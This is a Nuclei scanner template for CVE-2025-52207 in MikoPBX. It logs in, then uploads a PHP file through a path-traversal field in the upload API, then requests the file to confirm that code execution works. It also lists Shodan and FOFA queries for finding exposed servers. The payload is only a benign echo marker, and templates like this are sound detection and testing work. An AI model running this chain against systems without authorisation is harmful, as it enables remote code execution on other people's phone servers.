漏洞描述
MikoPBX through 2024.1.114 contains an authenticated unrestricted file upload vulnerability caused by allowing PHP script uploads in PBXCoreREST/Controllers/Files/PostController.php.
id: CVE-2025-52207
info:
name: MikoPBX - Unrestricted File Upload
author: darses
severity: critical
description: |
MikoPBX through 2024.1.114 contains an authenticated unrestricted file upload vulnerability caused by allowing PHP script uploads in PBXCoreREST/Controllers/Files/PostController.php.
impact: |
Authenticated attackers can upload and execute arbitrary PHP scripts, leading to remote code execution and full system compromise.
remediation: |
Update to the latest version beyond 2024.1.114.
reference:
- https://github.com/mikopbx/Core/commit/3ee785429d3f1b33c9ab387ef4221127c9b8c5f3
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L
cvss-score: 9.9
cve-id: CVE-2025-52207
cwe-id: CWE-23
epss-score: 0.15652
epss-percentile: 0.94467
metadata:
vendor: miko
product: mikopbx
shodan-query:
- product:"mikopbx"
- http.favicon.hash:8309143
- title:"MikoPBX"
fofa-query:
- icon_hash="8309143"
- title="MikoPBX"
tags: cve,cve2025,miko,mikopbx,intrusive,authenticated,file-upload
variables:
filename: "{{to_lower(rand_base(8))}}"
filecontent: "<?php echo(base64_encode(\"{{filename}}\")); ?>"
flow: http(1) && http(2) && http(3)
http:
- raw:
- |
POST /admin-cabinet/session/start HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
WebAdminLanguage=en&login={{username}}&password={{password}}&rememberMeCheckBox=false&backUri=%2F
matchers:
- type: dsl
dsl:
- contains_all(body, 'BreadcrumbSessionstart')
- contains(content_type, 'text/html')
- status_code == 200
condition: and
internal: true
- raw:
- |
POST /pbxcore/api/files/uploadFile HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=---------------------------{{filename}}
Accept-Encoding: gzip
-----------------------------{{filename}}
Content-Disposition: form-data; name="resumableFilename"
{{filename}}.php
-----------------------------{{filename}}
Content-Disposition: form-data; name="resumableIdentifier"
../files_cache/{{filename}}
-----------------------------{{filename}}
Content-Disposition: form-data; name="file"; filename="{{filename}}.php"
Content-Type: application/octet-stream
{{filecontent}}
-----------------------------{{filename}}
Content-Disposition: form-data; name="resumableChunkNumber"
1
-----------------------------{{filename}}
Content-Disposition: form-data; name="resumableTotalChunks"
1
-----------------------------{{filename}}
Content-Disposition: form-data; name="resumableTotalSize"
{{len(filecontent)}}
-----------------------------{{filename}}--
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "{\"jsonapi\":{\"version\":\"1.0\"},\"result\":true,\"data\":")'
condition: and
internal: true
extractors:
- type: json
name: upload_path
json:
- .data.filename
internal: true
- type: dsl
name: extracted_path
dsl:
- replace_regex(upload_path, "(.*\/files_cache)\/", "")
internal: true
- method: GET
path:
- "{{BaseURL}}/pbxcore/files/cache/§extracted_path§?{{wait_for(3)}}"
matchers:
- type: dsl
dsl:
- body==base64(filename)
- status_code==200
condition: and
# digest: 490a0046304402206e85541f6888381e10f4d90a6b46e2fafbec5542d9f2936fd48425b7f5f9a66d0220632bbcf35e9f5a970bcdb386f2b4fa5172f3454785a2e66c2872ee18b1e8a0cd:922c64590222798bb761d5b6d8e72950